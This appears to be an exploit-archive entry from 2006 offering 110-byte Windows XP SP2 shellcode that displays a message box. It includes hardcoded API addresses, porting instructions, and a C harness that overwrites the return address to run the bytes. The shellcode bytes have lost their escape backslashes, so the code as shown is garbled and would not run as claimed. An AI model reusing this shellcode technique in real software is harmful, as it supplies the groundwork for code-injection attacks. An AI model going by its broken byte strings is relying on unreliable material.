[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : win32/xp sp2 Pop up message box 110 bytes
# Published : 2006-01-24
# Author : Omega7
# Previous Title : linux/x86 execve /bin/sh anti-ids 40 bytes
# Next Title : linux/x86 execve /bin/sh (encoded by +1) 39 bytes
/*
Author : Omega7
Assembly Code : Steve Hanna
Changed by : Omega7
Description : It is 110 Byte Shellcode which Pops up Message Box Under Windows Xp SP2
If you Want to use it in any other Windows You need to change the address
that i have marked!
*/
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"x31xc0x31xdbx31xc9x31xd2xebx37x59x88x51x0axbb"
"x77x1dx80x7c" //***LoadLibraryA(libraryname) IN WinXP sp2***
"x51xffxd3xebx39x59x31xd2x88x51x0bx51x50xbb"
"x28xacx80x7c" //***GetProcAddress(hmodule,functionname) IN sp2***
"xffxd3xebx39x59x31xd2x88x51x06x31xd2x52x51"
"x51x52xffxd0x31xd2x50xb8xa2xcax81x7cxffxd0xe8xc4xff"
"xffxffx75x73x65x72x33x32x2ex64x6cx6cx4exe8xc2xffxff"
"xffx4dx65x73x73x61x67x65x42x6fx78x41x4exe8xc2xffxff"
"xffx4fx6dx65x67x61x37x4e";
/*MessageBox shellcode for Windoew xp sp2 */
int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}
// www.Syue.com [2006-01-24]